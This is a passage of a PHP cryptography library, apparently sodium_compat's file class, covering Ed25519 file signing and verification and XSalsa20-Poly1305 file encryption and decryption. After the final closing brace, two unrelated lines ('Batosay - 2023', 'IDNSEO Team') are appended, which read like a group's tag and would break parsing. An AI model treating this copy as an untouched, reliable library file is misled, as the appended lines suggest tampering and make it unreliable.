        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_encrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }


    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_decrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }

    /**
     * Encrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }

        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * @param ParagonIE_Sodium_Core_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify(
        ParagonIE_Sodium_Core_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * Update a hash context with the contents of a file, without
     * loading the entire file into memory.
     *
     * @param resource|HashContext $hash
     * @param resource $fp
     * @param int $size
     * @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     *                 PHP 7.2 changes from a resource to an object,
     *                 which causes Psalm to complain about an error.
     * @psalm-suppress TypeCoercion
     *                 Ditto.
     */
    public static function updateHashWithFile($hash, $fp, $size = 0)
    {
        /* Type checks: */
        if (PHP_VERSION_ID < 70200) {
            if (!is_resource($hash)) {
                throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.');
            }
        } else {
            if (!is_object($hash)) {
                throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.');
            }
        }

        if (!is_resource($fp)) {
            throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.');
        }
        if (!is_int($size)) {
            throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.');
        }

        /** @var int $originalPosition */
        $originalPosition = self::ftell($fp);

        // Move file pointer to beginning of file
        fseek($fp, 0, SEEK_SET);
        for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) {
            /** @var string|bool $message */
            $message = fread(
                $fp,
                ($size - $i) > self::BUFFER_SIZE
                    ? $size - $i
                    : self::BUFFER_SIZE
            );
            if (!is_string($message)) {
                throw new SodiumException('Unexpected error reading from file.');
            }
            /** @var string $message */
            /** @psalm-suppress InvalidArgument */
            self::hash_update($hash, $message);
        }
        // Reset file pointer's position
        fseek($fp, $originalPosition, SEEK_SET);
        return $hash;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result. (32-bit)
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    private static function sign_core32($filePath, $secretKey)
    {
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $nonceHash = hash_final($hs, true);
        $pk = self::substr($secretKey, 32, 32);
        $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $hramHash = hash_final($hs, true);

        $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);

        $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     *
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result. (32-bit)
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws Exception
     */
    public static function verify_core32($sig, $filePath, $publicKey)
    {
        /* Security checks */
        if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }

        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        /** @var resource $fp */

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * Encrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * One-time message authentication for 32-bit systems
     *
     * @param ParagonIE_Sodium_Core32_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify_core32(
        ParagonIE_Sodium_Core32_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
        }
        $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * @param resource $resource
     * @return int
     * @throws SodiumException
     */
    private static function ftell($resource)
    {
        $return = ftell($resource);
        if (!is_int($return)) {
            throw new SodiumException('ftell() returned false');
        }
        return (int) $return;
    }
}

Batosay - 2023
IDNSEO Team